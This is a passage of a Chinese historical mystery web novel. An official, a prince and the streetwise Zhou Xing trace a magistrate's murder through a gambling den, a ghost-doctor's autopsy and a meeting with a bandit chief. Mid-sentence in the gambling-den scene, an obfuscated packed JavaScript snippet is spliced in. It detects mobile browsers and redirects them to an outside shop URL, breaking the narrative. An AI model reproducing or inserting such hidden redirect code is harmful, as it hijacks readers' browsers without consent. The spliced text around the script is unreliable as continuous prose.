正因此功绩,此人虽满肚子草包却能在朝中混职多年,如今更是得上头官员力荐,接替了许奉的位置为一县之长。 不过他实在过于谄媚和喜好邀功,在饭桌上更是有意无意炫耀自己当初在塞北的功绩,是以并不招人待见。齐煊、赵恪二人懒得理会,陆酌光又低着头认真吃饭,唯有将来要在吕鸿手底下做事的冯宗不敢怠慢,兢兢业业当捧哏。 而周幸这身份自是不能与那些大小官员坐在一起吃饭的,便跟其他侍卫一起在楼下吃了碗素面对付午饭。 面条刚出锅,端上来时热得直冒白烟,周幸出门匆忙,就嗑了点瓜子吃了几口果干,早就饿得前胸贴后背了,此刻用筷子挑起一大坨鼓着腮帮子猛吹数下,继而整个塞嘴里,吃得威风凛凛,毫无斯文可言。 一碗面她呼噜呼噜几口就吃完,捧着碗喝了几口热汤暖和身子,一放下筷子就看见邻桌坐着的是侍卫的头领李言归。 周幸老早就注意到他,此人虽冷面肃容,不苟言笑,但行为却怪异得令人摸不着头脑。 他随身揣着一个册子,偶尔会在上面写写画画,周幸先前留意时特地偷看了几眼,发现他写在册子上的字极其随意,甚至鲜少有完整的一句话。 此刻那个册子就摆在他的手边,周幸打眼一看,封皮上竟是“言归正传”四个大字。 正观察着,李言归一碗面已经吃完,拿起册子便动手,寥寥几笔就在上面画了个有鼻子有眼的人头,接着在后头画了个烧鸡。 周幸看不懂,于是收回视线,与他闲聊:“李侍卫吃得惯郸玉的口味吗?” 李言归转头看向她。此人皮肤略深,身形健壮,腰间配着长刀时刻不离手,面容上几乎看不见别的表情,深冷的眼眸盯着人时,总像带着漠然的审视。 他无意与周幸闲话,回答得简短:“尚可。” 说完就像是怕周幸拉着他多聊一样,飞快将头扭了回去,继续在书本上专心进行自己的创作。 周幸倒没有再说话,大堂人多,虽然嘈杂但也暖和,她困倦地打了个哈欠,想着楼上那几人还不知吃到什么时候,便用手垫着脑袋,往桌上一趴,十分不讲究地开始打盹。 待陆酌光几人从雅间下来时,午时已过。陆酌光这次上车时学聪明了,率先与冯宗并坐,周幸再是如何脸皮厚,也无法与两人同挤一个座椅,只能悻悻坐在对面。 此时正是城内一日当中最为热闹的时辰,郸玉的道路并不宽敞,街上行人来往密集,马车走走停停,耽搁不少时间,周幸以各种支楞八叉的姿势打了数个瞌睡,马车才在赌坊门口停下。 刚停稳,周幸就迫不及待跳下来,伸着懒腰舒展身躯,骨头关节咔咔轻响。 这赌坊建在城内最热闹的地方,门口的道路两边开满各种商铺,走街串巷的小贩也颇喜欢来此地,有时候运气好遇上刚赢了钱出来的人,出手会相当阔绰。 赌坊未设后门,几人只得从正门而入。刚一进门,喧哗声便如浪潮般扑面而来,赢昏了头和输红了眼的人无不高声叫喊,骰子摇得噼啪作响,围在赌桌前的大多都是上了年纪的男人,在个人卫生方面不大讲究,于是空中飘着各种奇怪的味道,算不上好闻。 冯宗与吕鸿二人毕竟在小地方生活惯了,未感觉到不适。齐煊这位王爷还未表现出嫌弃,赵恪倒是先行掩住了鼻子,露出嫌恶之色。京城里随便一家小赌坊里面的环境都比此处好上十倍,赵恪是生来就养尊处优的少爷,鲜少来这么混杂又穷酸的地方,立即让李言归在旁边开道,免得哪个不开眼的人撞他身上。 赌坊内乌烟瘴气,完全不是陆酌光这种读书人来的地方,他远远坠在队伍的最后,小心翼翼地避开周遭呼天抢地,手舞足蹈的人。 而周幸则完全相反,简直是王八进了池子里,算是回老窝了。她游鱼似地在人群中乱蹿,从拥挤的人群中找到道路,领着几人往前走,隔两步就要与人热情地打招呼:“刘大爷,你媳妇儿先前都说了,再赌就打断你的狗腿,你还敢来啊?” 或是摸出几文钱拍在桌上:“这把押大,赢钱了分我一半啊。” 要不就是拽着别人的领子,骂道:“你个老王八,可算让我抓着了!别以为你年纪大我就不敢揍你,欠我的二十文什么时候还?” 齐煊看得头痛,心道冯宗这是从哪里找来的奇人,在青楼那地方娴熟也就罢了,来了赌坊更是蛟龙入海,变着花样地显神通,现在还打算在几个官员眼皮子底下动手打人。 冯宗也觉得不成体统,正要上前劝架,就见迎面跑来个打杂的小厮,不过十三、四岁的样子,顶着一头乱发,神采奕奕地叫道:“幸姐!” 周幸往他脑袋上抓了一把,笑眯眯道:“头发也不好好束,是打算在脑袋上搭鸟窝吗?” 小厮有些脸红,挠着脑袋羞赧地转身:“东家等你半天了,特地让我在楼下接你,快随我上去吧。” 周幸是提前打过招呼的,因此赌坊的东家早就在房中等候。 晌午在饭桌上,冯宗曾提起过,这赌坊的东家是个不见首尾的神秘人物,鲜少露面,常年不在赌坊,上回冯宗带衙门的人来时,就被赌坊的伙计以“东家不在郸玉”为由推拒,没能见着此人。 郸玉比之京城差远了,这地方在十年前甚至是个匪类猖獗之地,留下了许多“民间势力”的恶习,在京城举一个令牌或是拿一张搜查令便能畅通无阻,在这里若是没点儿人脉交情,任你查个底朝天,也未必有所收获。 所以周幸这样的人,才显得尤为厉害。别看她成日游手好闲,没个正经的事做,却与什么人都有个一二交情,在郸玉也算是个响当当的人物。 不过这种“威风”落在女人身上颇有微词,大家虽嘴上对她赞不绝口,但居于郸玉的几年里,没有媒人踏过周幸家的门槛。 出了一楼的大堂,厚重的门帘落下,周遭立即安静不少,周幸边走边对其他人道:“我这位义兄姓萧,名涉川,是个经商奇才,年纪轻轻便已家财万贯,本家不在郸玉,只是偶尔来此地,最近正好在郸玉办事,我央他多留了几日。” 赵恪实在难以想象一个女子如何在这种场所混迹,还与赌坊东家拜上把子,好奇问:“周姑娘是怎么与他相识的?” 周幸笑道:“义兄身上有个顽疾,我又恰好与城郊的‘鬼医圣手’隗老先生熟识,便卖了个人情,求他给义兄医治。” 赵恪顺嘴问:“什么病?” 周幸思索片刻,做了个“枯萎”的手势,委婉道:“就是一个让男人软趴趴的病。” 身后跟着的几个男人同时沉默,唯有吕鸿发出吭哧吭哧的动静,犹豫再三后没忍住:“可治好了?” “有没有治好,吕大人得去问义兄,我又怎知?”说话间一行人已走到雅间门口,周幸抬手推开了门,热情呼唤:“义兄,让你久等!” 二楼的雅间比一楼整洁太多,屋中点着熏香,炭火烧得很旺,有个年轻公子坐在屋中等候,头戴玉冠身着锦衣。见了众人进门,他起身后先是从抽出一把折扇,“唰”地打开,朗声一笑,说不出的风流倜傥。 众人站在门口,都不约而同地将视线下落,神色隐隐带有难以言喻的同情,让萧涉川迎客的笑容差点僵住。 萧涉川热络地请几位落座,命人沏上好茶。他见着周幸极为高兴,拉着她的胳膊转了一圈打量,责备她像街边流浪的乞丐,说新入手几匹好料子,要给她裁制新衣,寒暄几句后又与几人相互报上姓名,说了好一会儿的闲话,才提及正事。 “你们要找的人我已经查清楚了,名叫邹业,不是郸玉人,两年前来此地,平日不做工,是个闲散懒汉,整日与一群狐朋狗友吃喝嫖赌。” 萧涉川查得十分细致,说这邹业口音杂乱,祖籍在哪没人知道,不知因何缘由来了郸玉。他两年前在青楼里对一个叫香月的妓子倾心,只是这女子后来让许奉纳回家了,二人情意未断,多次私会苟合。邹业对摘了许知县家的红杏一事洋洋得意,先前在酒桌上喝醉时曾拿出来炫耀。 他上次来赌坊是三天前,与平日里聚赌的几人开了一桌,赌注还不小。他输了一整天,红了眼一直想着捞回来,期间吃喝都在赌坊内,没有离开过,直到后半夜输了个精光才离开,其后再没进过赌坊,同桌的五个赌徒皆可为其做证。 冯宗听闻,暗暗庆幸昨日交代时没将此人笃定为凶手。三日前便是许奉被害那日,倘若他在赌坊赌了一整天,那便没有时间去杀害许奉。虽说他现在下落不明,人不知去了何处,但与这凶杀案也没太大关系了。 “哇。”周幸发出惊叹,不知在吃什么东西,腮帮子微鼓,咬得嘎吱作响,含糊不清道,“许大人当真养了枝出墙的红杏在后院。” 吕鸿戴过一模一样的绿帽子,此刻听闻许奉后院被光顾,不由以人度己,满脑门的火光,气道:“王爷,此人胆大包天,不如将他和那小妾抓来,以通奸治罪。” 赵恪却不赞同,挑着眉毛道:“可邹业与那妓子相爱在先,被许知县纳回家在后,是一对被生生拆散的鸳鸯爱侣,藕断丝连也情有可原。” 冯宗闻言吓一跳,忙去窥岭王的神色,心道这赵大人也怪没眼色,难道看不出王爷一听到有人诋毁许奉便会发怒,还说这些话是何意味?他正想开口岔开话题,却听周幸惊叹道:“赵大人高见啊。” 萧涉川不敢苟同,加入了对话展开辩论:“赵大人此言差矣,倘若邹业当真爱那女子,何不早早为她赎身?我倒是觉着这人未必是为真心,不过是专喜欢这种偷人的勾当罢了。” 周幸又道:“义兄说的也有几分道理。” 赵恪今日走了一圈问下来,俨然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005786|193634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得许知县不是什么好东西:“没准他正要赎身,许知县就将人强纳回家了。” 周幸点点头:“也是有这种可能。” 萧涉川又提起别的事加以佐证:“他不止偷了许知县的后院,还与其他有夫之妇有染。” 周幸是风往哪吹往哪倒,张口便是附和:“太可恨了,当治‘通奸’之罪。” 赵恪一时语塞,转而求助自己的谋士:“酌光兄觉得是什么?” 陆酌光从进门起就没说过话,坐姿端正文雅,一个劲儿地盯着萧涉川手中那轻摇的折扇,被赵恪点名后却并未回答他的话,而是问:“萧兄这把扇子上的字,是何人所写?” 周幸转头去瞧。那折扇倒是普普通通的,只是上面题了字,正面是“雁过拔毛”,反面是“兽走留皮”,写得恣意潇洒,颇具大家风范。她眼角生了几分笑意:“你喜欢?” 陆酌光道:“在下近日对临帖颇感兴趣,见上面的字写得极好,不知出自哪位大师之手。” 萧涉川满不在乎地晃了晃扇子:“路边随便买的,不是什么名家书法。” 陆酌光眉梢微动,流露出些许惋惜,没有再问。其他则几人则继续在“通奸”和“被拆散的鸳鸯”之中展开辩论,冯宗几次开口也没能打岔成功。 趁着屋内争论得热闹时,周幸悄悄飘到陆酌光身边,半弯着腰凑近他耳朵轻声道:“我向义兄讨了扇子来送给你。” 陆酌光轻轻偏头,避开了周幸的靠近时扑过来的气息,客气地拒绝:“周姑娘说笑,陆某怎好夺人所爱。” “义兄藏品甚多,时常赠与友人,陆秀才又是有才情之人,想必义兄很愿意交你这个朋友。” 陆酌光彬彬有礼道:“陆某交友不取分毫,能坐于一堂谈笑,便是朋友。” 周幸没有勉强,眼中满是欣赏:“陆秀才真乃君子。” 那厢几人还在争论,照理说齐煊听到贬损自己老师的言论后便会大怒,情绪激动地发作一通,但赵恪已经说了不少“许知县趁人之危,拆人姻缘”之类的话,齐煊却毫无反应。 冯宗不由问道:“王爷在想什么?” 齐煊瞥他一眼,若有所思地开口:“赌注不小,他又输了一整天,既然平日从不做工,哪来的银子赌?” 萧涉川耳朵倒是好使,那边还在参与争辩,这边就捕捉到了齐煊的话,当即“欸”了一声,对齐煊道:“王爷问到点子上了。这邹业来到郸玉后没做过一日活,照理说早该穷困潦倒,饿死街头,然而他却经常流连于销金窟,出手也非常阔绰,听旁人所言,他有次来赌坊时,钱袋里鼓鼓囊囊……” 他倏尔放低声音,慢声道:“装的可都是金子。” 屋中顿时寂静,众人脸色微变,难掩惊疑。赵恪皱起眉,将这两个字碾碎在唇齿间,低低重复:“金子?” 这些年来大齐边境战事不断,官府数次在民间收缴金子充盈国库,因此在民间铜板银子倒是多见,金子却几乎不会出现在寻常百姓的手里,便是巨富商贾也鲜少以金子交易。 齐煊猛地站起身,立即传来门口衙役,下令将邹业捉拿,并仔细搜查他的住处。 小半时辰后,几人从赌坊离开。周幸谢过萧涉川,转身要走时看见吕鸿站在拐角处扭扭捏捏,像是想努力藏起来,但肥胖的身体让他无所遁形。 周幸很是贴心的佯装没看见,快步离开。 随后吕鸿钻出来,拉住萧涉川,左右张望片刻,才掐着嗓音小声问:“萧兄,听说你之前在某些地方有隐疾,实不相瞒我身受其困多年,不知你先前医治的可有成效?” 萧涉川:“……”就知道这些人刚进门时那个眼神不对劲。 冬日昼短,傍晚比其他季节来得快,从赌坊出去后已然是漫天彩云,大地覆满赤橘霞光。寒风萧瑟,路上行人渐少,不知附近谁家办丧事,一把纸钱洒在了街上,飘得到处都是。 冯宗仰头看了看天色,琢磨着这时辰正好,转头对周幸道:“昨日托你拜请隗老的事办如何了?” 周幸答:“已妥当。” 岭王听这二人说话,问道:“什么事?” 周幸一身青色的棉衣映上缤纷的天光,青丝与发带轻盈地飘着,背后是纷飞而落的纸钱,衬得她有几分落拓:“王爷可知,这城中没有仵作愿意给许大人验尸。” 齐煊皱眉:“为何?” 周幸压低了嗓音,神神秘秘道:“说是许大人被害前一夜,打更人曾亲眼看见黑白无常从许大人的宅中飘出来,一晃就不见了踪影。现在城中传言,谁若是敢碰许知县的尸身,轻则霉运缠身,重则恐怕会被阴差找上门,所以没有仵作敢揽这份差事。” 齐煊面上俱是疲倦之色,现在听到这种传言已经生不动气,加之周幸今日的确起了大用处,对她也冷不下脸呵斥,只道:“荒谬绝伦,现在将城中的仵作提来,我倒要看看是谁听信这种愚蠢的传言。” 冯宗忙道:“王爷,郸玉这种地方,满城找遍也不过两个仵作,还是自学而成的二把刀*,远不能成事。周幸认识位道医,能治生人病,看死人骨,绝对要比那两个半吊子的仵作厉害,下官昨日就已托她将人请来,为许知县验尸。” “什么人?” 周幸道:“便是那被称作‘鬼医圣手’的隗谷雨,住在城郊的医堂,只在夜里出诊或办事,我已与他约好时辰,此时则正好可以去接他。” 7.鬼医仵作 一行人离开赌坊后兵分两路。齐煊、赵恪等先去义庄等候,剩下一辆马车则去城郊接人。赵恪对陆酌光颇为看重,将随身侍卫李言归拨给了他,护卫左右。 陆酌光上了马车便低头看书,这般太过醉心学习周幸不好多次打扰,而冯宗年纪也不轻,奔波了一天已经疲倦,正闭目养神。 周幸闲得发慌,一会儿抠了抠车帘,一会儿摸摸挂灯,最后实在闲不住,干脆开了窗子,探出半个身子与外面随行的衙役闲聊。 此人在郸玉威名远扬,衙役大多都听说过她的名号,其中对她敬服者居多,立即与她热火朝天聊起来。 城中人皆知,住的城郊的那位老道医已有七八十的年岁,医术极其高明,疑难杂症就没有他治不好的,一旦出手便是跟阎王爷抢人也能赢下,但他不好名利,也不以治病谋生,多数时间不出诊。 他膝下只有一个孙女,惯常独来独往,谁都请不动,唯独周幸特殊,凡她请则必出,所以旁人自然也好奇,周幸这二十啷当岁的年轻人是怎么与这位脾气阴晴不定的老人结识的。 周幸一只手支在窗子上,脸让寒风冻得苍白,唯有鼻尖被揉出了一点红润,双眸弯起来,笑意里带一点狡黠:“此事说来话长。东郊有一户人家,养了条大狗,凶猛无比,站起来几乎跟人一样高,整日都拴着绳,除了主人之外见谁都咬,且咬中了不把肉撕下来就绝不松口。” “不过这狗因为太凶,不止生人远远避让,连它同类都不敢靠近,成天卧在门口风吹日晒,连个知冷知热的体己狗都没有。但是,人可以打一辈子光棍,牲畜却不会,所以这狗也盼到了桃花盛开的那一日——不知哪里来了条小母狗看上了它,与它亲亲我我,你侬我侬,要生一窝小狗传宗接代。” 冯宗忍不住腹诽:这听着不像是人能说出来的话。 此时也有人问:“这与隗老有何干系,难不成那母狗是隗老养的?” “非也。”周幸道:“且听我细细道来。” 狗的故事只是周幸铺垫的前文,接下来才讲起那位道医隗谷雨。 隗谷雨打了一辈子的光棍,此生最见不得别人出双入对,专精棒打鸳鸯,且他住处就与那狗主人家相近,回家或是去医堂必会经过。 那日他傍晚归家,正巧就看见两只狗在繁衍后代,当即看不过眼,捡了个长棍不由分说将母狗打走了。 可想而知,那差点就要完成生命大繁衍的狗当场气疯,竟然挣断了绳子追着隗谷雨咬,若非周幸恰好路过救了他,老先生不仅晚节不保,怕是连双腿都用来给狗加餐。 她讲故事颇有一手,像是专门与说书人拜过师一样,语调抑扬顿挫,相当富有情感,引人入胜,就连一门心思看书的陆酌光也抬起头听。 有人便问:“你是怎么救的?难道是与恶狗殊死搏斗?” 周幸微微睁大眼睛,惊奇道:“哪有那么英勇?我看见那大狗也吓得浑身打摆子!只不过我当时手里有刚出锅的肉包子,才吃了一口,全喂到了狗嘴里,狗大爷这才网开一面放了隗老。隗老又是重恩之人,所以待我格外亲厚。” 说话间就已到了城郊,医堂门口挂着的大红灯笼明亮如火,隔得老远都能看见,周幸忙高声叫停了马车,利落地跳下去:“这医堂与寻常的不同,接诊的病人都是妇孺,所以各位在这里等着便好,我去去就来。” 陆酌光坐久了也不舒服,跟着下了马车,舒展筋骨。 城郊风烈,带着冬日特有的枯萎气息扑在他的身上,卷起白衣轻摆。他目光放远,果然看见有几个妇女朝着灯火通明的医堂走去,皆用暗色的布紧紧包住了头,缩着脖子佝着背,完全看不见脸,只在暮夜相接下投出灰沉沉的影子,连脚印都没留下。 陆酌光的视线轻移,又落在周幸身上。此人与别人不同,敞着嗓子喊了一声药童,其后便软骨头一样往树上一靠,两手揣起来,眼眸半敛着,打了个充满困意的哈欠。 黄昏日暮下,橘黄色的线描在地平线上,勾勒出她碎发纷飞的身影,将她苍白的脸染上些许暖色的天光。 她分明站没站相,坐没坐相,恨不得时时刻刻靠在什么东西上,此时却有股大大方方的意味,青色的衣裳又莫名盎然,似乎是惧冬而眠的树上因眷恋生机所遗留的最后一片绿叶。 冯宗站在他身旁,看了周幸片刻,忽而感慨道:“这地方的男人女人虽皮囊不同,其实里头大多都是差不离的模样,唯有周幸独树一帜。既与众不同,便必然受人非议,有人说她厉害,有人却嫌她荒唐,不知陆秀才对这样的人有何看法?” 陆酌光敛回视线,笑了笑:“周姑娘是令人钦佩之人。” 守在马车边上的李言归自然是将二人的对话听了个清楚,他看着陆酌光脸上的笑容,随后从怀里掏出了随身携带的小册子。少顷,衙役好奇的声音传来:“李兄弟,你为何在上面写个‘装’字?” 陆酌光撩起眼皮看了他一眼。 李言归没有应声,只赶紧合上了册子。 众人并未等太久,周幸很快就将隗谷雨带了过来。 他年过七十,裹着黑色棉袍,花白的头发用木簪绾起来,嘴里叼着一根烟杆,脸上的褶子层层叠叠,有一双肃然的三白眼,精瘦而干练,从外貌上看并不是个和蔼的人,符合周幸口中“专精帮打鸳鸯”的恶人模样。 走到近处,周幸简单介绍了陆酌光与冯宗的身份,隗谷雨却只是神色寡淡地扫了二人一眼,吐了一口轻烟,没有半点寒暄的打算,上了马车后更是不言不语,没动弹过一下,怪异得像个老鬼。 他还背了个木箱,里面不知放了什么东西,马车晃动起来时咣当作响。 抵达义庄后,吕鸿比守在门口的侍卫都热情,一路小跑过来盯着马车门,一看见隗谷雨,臃肿的脸上立即换上讨好地笑脸,狭窄的眼睛眯成一条缝,开始恭维:“这位便是鼎鼎大名的鬼医圣手隗老?听闻你已年过古稀,瞧着却一点不显老!” 隗谷雨的眼珠已没有年轻人的澄澈明亮,但浑浊之中却藏着锋锐,径直刺向吕鸿,毫无征兆地发难:“你怎么知道我光棍到老?从何处听说的?” 吕鸿一愣,没明白这牛头不对马嘴的情况从何而来,赶忙道:“误会误会,我是说你模样年轻,胜过壮丁!” “我不过是没娶老婆没生崽子,到你嘴里便是孤苦伶仃了?”隗谷雨冷笑一声,阴恻恻道,“我看你是肾火太旺,我给你扎几针下下火如何?一针下去保管你再不受淫.欲之困。” 吕鸿在赌坊时从萧涉川口中得知了当初将他顽疾医治好的人便是这位隗老,早已准备了一肚子的奉承之言,只等着请他给自己也治治,却不想才刚发挥了两句,这老东西就要用绝世杀招对付他。 马屁拍在了马腿上还不知问题出在哪,吕鸿下意识捂着肾往后退了两步,想破口大骂却又惦记着还有人生大事求此人帮忙,丝毫不敢得罪他,因而硬生生憋红了一张脸。 周幸看够了笑话,才乐不可支道:“隗老年轻时伤了耳朵,只有左耳勉强能用,越上年纪耳朵越背,时常听不清楚别人说话,吕知县莫怪,且先进去吧,别叫王爷与赵大人久等。” 吕鸿闹了个大红脸,只得暂时作罢,先随其他人进了义庄。 义庄不大,年初时由郸玉最大的钱庄出资翻修过一回,处处都是新的模样。进门之后西边的厢房便是停尸堂,专供无名无姓或是横死之人尸体暂放,不过现在那堂中只放着许奉的尸身,由衙役日夜接替看守。数九霜寒天,许奉的尸身冻得结实,没有腐烂的迹象,还如刚死一样。 刮骨寒风阵阵吹过,周幸直打冷战,进去就看见齐煊沉默地坐在院中,应是已经见过老师的尸体,夜色浓厚,檐下点着白灯,给他披了一身零碎的悲戚。 隗谷雨叫人搬来一张木桌,其后打开了背来的小箱子,开始说自己的规矩: 第一,他要设坛先拜灵官。验尸极损阴德,因此需仰仗解厄赦罪的灵官庇佑。 第二,验尸过李不可多人在场,所以只需一人在他身旁听验尸结果即可。 第三,验尸结束后,到家之前他不能走回头路,不能开口说话,因此从停尸堂出来后,他会直接离开,不理会任何人。 这乱七八糟又装神弄鬼的规矩,让齐煊听得头痛,摆了摆手任他折腾,懒得再计较。 赵恪倒是很感兴趣,吩咐着侍卫前后忙活,帮助隗谷雨设坛。其后隗谷雨从箱中拿出了铃铛、纸钱、铜钱剑等东西,摇着铃铛在桌前跳来跳去,口中念念有词,时不时抓一把纸钱往天上甩,与民间招摇撞骗的神棍十足相似。 这荒诞的一幕让齐煊看得眼角直抽,索性闭上了眼,不见为净。 赵恪兴致勃勃,仿佛下一刻就要从袖中摸出银子打赏。冯宗虽然眼睛看着隗谷雨,余光却时刻注意着齐煊,以 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赵恪吩咐李言归跟着,齐煊招了下手,将他的随身侍从也一并派了进去。三人进屋后房门一关,接下来就是长久的安静,屋内没再传出任何声音。 赵恪与陆酌光进了烧着暖炉的正堂,吕鸿躬身请齐煊一同去,被齐煊回绝。他坐回院中的木椅,在彻骨的寒风中沉入哀思。周幸则将两手夹在温暖的腋下,钻进了犄角旮旯之处避风。冯宗不好留王爷自己在院中,咬着牙在风中坚.挺作陪。月亮时隐时现,院中忽明忽暗,一片静默。 一炷香的时间,隗谷雨开门而出,与进去时的模样没什么区别。他果真不与任何人说话,点了烟杆咬在嘴里,对几人拱了拱手,径直收拾了桌上的东西,背上后干脆利落地离开义庄。 两个紧跟而出的侍卫便向主子汇报方才在屋中的见闻。 隗谷雨进屋后就手起刀落剖开了许奉的尸身,查看了咽喉及内脏各处,断定不是中毒身亡,死因就是脖子上的那把短刀。他左臂和右腿有断裂的痕迹,不过都是已经痊愈的旧伤。其他部位则完好,没有任何伤口,不存在撕打的可能,但鼻腔里却有些白色粉末。 隗谷雨说那粉末遇水变蓝,是一种菌类的孢粉,人若是吸入便会在短时间内意识昏沉头脑不清,感知不到疼痛,如痴儿般受人摆布,说什么都照做,故而也称“神仙散”。 至此,许奉的死因已经十分明了。显然是有人设计事先让许奉吸入了神仙散,然后再以言语指挥,让他将短刀刺进自己脖子中,从而丧命。 “紧锁的门窗能拦住人,却拦不住声音。”赵恪道,“想来许知县就是如此被人杀害,作案之人必是许宅内的人,现在我们只需抓住这‘神仙散’追查,定能查到真凶。那隗谷雨有没有说这种东西在什么地方售卖?” 李言归道:“他说这种菌类鲜少为世人所知,生长条件也苛刻,无法供应售卖。他以前采药时曾走遍了郸玉周遭的大小山野,只有千路山生长过这种菌类,但那座山寻常人是上不去的。” 冯宗压低声音对齐煊道:“王爷,千路山位于郸玉北郊,常年被一群山匪占领,那些山匪穷凶极恶,往前数个十年什么杀人放火的事都做,恶贯满盈,所以寻常百姓绝不会靠近。先前被许大人斩断了脑袋的地痞,其父亲是与山匪拜过把子的兄弟,还曾放言要许大人付出代价,你看……” 赵恪立即大手一挥,下令道:“那就将王地主抓起来,严刑拷打,打得他招干净了,再上山抓人就是。” “万万不可,万万不可啊!”冯宗连连摆手,正要劝阻,却见一人飞快跑来,停在周幸面前,轻声低语。 周幸站在灯火的尽头处,半个身子融进暗色里,不说话时静谧得让人察觉不到她的存在。白日里她行为轻挑,姿态讨好,眼眸又总是半睁不睁,时刻犯困的懒怠模样,仪态总不肯正正经经,因此让人不大能注意到她的容貌。 眼下浓重的夜色掩盖了她的潦草,苍白如雪的肤色比散乱的黑发更显眼,让人才发现她其实生了一张五官出挑的脸。 周幸转头,散漫一笑,说道:“诸位,冯大人办事缜密,想得周到,一早就让小人去请千路山的大当家。那大当家也给了几分薄面,此刻在城中摆了酒席候着,既然当下正查到了千路山,何不请各位移驾,亲自去问个清楚?” 8.山匪老大 千路山常年烟雾笼罩,树木茂盛,遍地野草,又因地势多变导致人们很容易在山中迷失方向,据说一千个人进去就能走出一千条路来,因此而得名千路山。 十几年前一伙凶残的贼寇占山为王,与县衙勾结,劫道杀人,无恶不作,至今仍在山中生活,寻常百姓不敢靠近。 赵恪这出身高官世家的少爷,自是难以忍受贼寇如此肆意妄为,听闻官府对这群山匪奈何不得时,大为不满:“为何不进山剿匪,彻底灭了那些贼人。” 冯宗满脸苦笑,道:“郸玉不过一小小县城,这些年战事不断,一轮又一轮的征兵让不少年轻强壮的男人有去无回,寻常百姓家连年轻男人都不见几个,此地又没有驻兵,谁能跟那些穷凶极恶的贼寇抗衡?” 起初县衙也组织过几次清剿,最大的一次行动甚至联合了十里八村一起,称得上是老弱病孺皆出动,但千路山地势恶劣,易守难攻,县衙次次惨败而归。 冯宗曾数次向朝廷请求驻兵剿匪,不是被驳回便是各种借口推脱,久而久之,也只能放任不管。 直至许奉上任后,前后几次行动处理了城内与匪类称兄道弟的豪绅,手段强硬地逼迫他们不敢再进郸玉作乱,他们才逐渐安分,最近几年与郸玉都是井水不犯河水的状态。 冯宗在郸玉当职十几年,参加过数次剿匪行动,其战况惨烈仍不敢回忆,能活下来已经算是命大。 况且此次山匪老大独身前来,是会客之态,倘若大家能坐下来将事情解决,何必动刀动枪打得头破血流呢?郸玉无兵,真与山上的土匪打起来,赵恪怕是得自己拿着刀顶在前面。 如此将利害一表,赵恪便不再反对,众人一同赶赴城中酒楼。 路上赵恪问起周幸与那山匪的大当家何来的交情,周幸便说:“也全是仰仗隗老。” 这帮土匪虽恶名远扬,但是人总有生病的时候,山上妇孺居多,一患病便无处寻医,只能请周幸带着隗谷雨的孙女上山诊治。一来二去她与山上的女人关系交好,连带着土匪们也对她感恩敬重。 将这大当家请来坐谈,是冯宗的主意。既然请来了周幸帮忙,自然要将她的用处和人脉发挥到极致,所有涉案的人物和地方只要能与她联系上的,他都让周幸帮忙打探。 周幸倒是不嫌麻烦,昨日在东西两城跑着请人时,也顺道给千路山递了口信,邀他在城中一聚。 她与千路山有私交,倘若对查案有利再好不过,便是没什么用至少也能洗清千路山的嫌疑。 周幸道:“千路山早已不是先前那些贼寇当家,现在的大当家是个实打实的好人。” 土匪的大当家倒有个正经的名字,叫袁察,是个壮硕的中年男人,双眼如虎明亮锐利,下巴蓄了一圈胡茬,两个膀子上是鼓鼓囊囊的腱子肉,显得身体极是高大,不怒自威。 与想象中地痞流氓的作派不同,袁察竟是礼节周到之人,性子又相当豪迈敞亮,见了几人进屋,当即站起来热情相迎。他不卑不亢,谈吐也落落大方,进退有度,比周幸都好上许多。 他将周幸奉为上宾,不仅引她入座,还点了数道合她口味的菜。 “上酒上酒!”方一入座,周幸就扬着筷子招呼起来,“袁大哥,你难得入城,这次可要喝个尽兴再回去。” 袁察爽朗应了声好,立即叫人抱了几坛子酒上来,挨个给几人都倒上,连陆酌光都推拒未果,硬是被塞了一杯在手中。 随后袁察举起酒杯,十分郑重地对齐煊道:“王爷有所不知,七年前我曾回岭南寻亲,不想那客船沉在海里,我侥幸活命却丢了所有行李,又寻亲不得,身负分文之际还以为要饿死在岭南街头,却看见路边设有数个施粥之地,靠着粥食救济才得以续了一口气,此后询问得知那施粥济世的善举是王爷下令所为,这些年来我一直心存感激,本以为我等生于微末之人此生无缘与贵人相见,没想到今日这般荣幸!请容袁某先敬王爷一杯酒,以表多年前的感恩之情。” 齐煊曾被贬去岭南偏远之地,做了五年的岭南王,也因此得封号“岭王”。当时他刚从“被废弃的太子”的身份脱身,在岭南处处受掣肘,如履薄冰,但还是硬着头皮用自己仅剩的那一丁点权力为百姓谋事,只是收效甚微,至今无人在意他那点功绩,没曾想冷不丁在几年后收到了当初努力的反馈,心中不由一热。 且这终于是齐煊自离京以来,见到的最正常的人了,没有满嘴荒唐言论,不见半点轻浮放荡,更不会举着铜钱剑跳大神。 他侃侃而谈,话间无不正直坦荡,细数齐煊在岭南的功绩,口中满是诚挚的敬佩之语,每一句都夸到齐煊心坎,更有些见解让齐煊也颇为赞同,不由自主生出寻得人生知己的感觉,一时没忍住多喝了些酒,微醺上头,已经在心中认定袁察并非加害老师之人,其中定有误会。 酒桌的另一头也没闲着,周幸不仅劝酒劝得勤快,自己喝得也多,陆酌光才浅浅抿了两口,她就已经喝完了第四杯,嘴更是没停下过,将自己长袖善舞的本事发挥得淋漓尽致,一会儿听吕鸿说及塞北风光,一会儿又奉承赵恪讲京城见闻,几圈下来就将二人灌得双眼发懵。 陆酌光为躲她,特地在落座时坐到了远处,如今一看果然是正确的选择,不仅双耳清静,也避开了周幸锲而不舍地劝酒。 今日奔波了一整天,收获却是不小,不仅将几条线索捋清,还将许奉的死因查了清楚,几人都不加克制,多喝了几杯。 乃至包房内欢声笑语,聊得热火朝天,一直到夜深,众人多少都有了醉意时,冯宗见时机差不多,这才找了个由头,提起正事:“不是袁兄可知道千路山上有一种菌类,其孢粉对人有致幻功效,倘若吸食便能意识恍惚,在短时间内变成言听计从的痴傻之人。” 袁察道:“确有此类菌子,每年逢冬便开,生得通体雪白,与寻常菌菇无异,为防山上幼儿贪玩误食,到了冬季我便带人巡山搜查,将此类菌子尽数销毁,不知冯大人提此是为何由?” 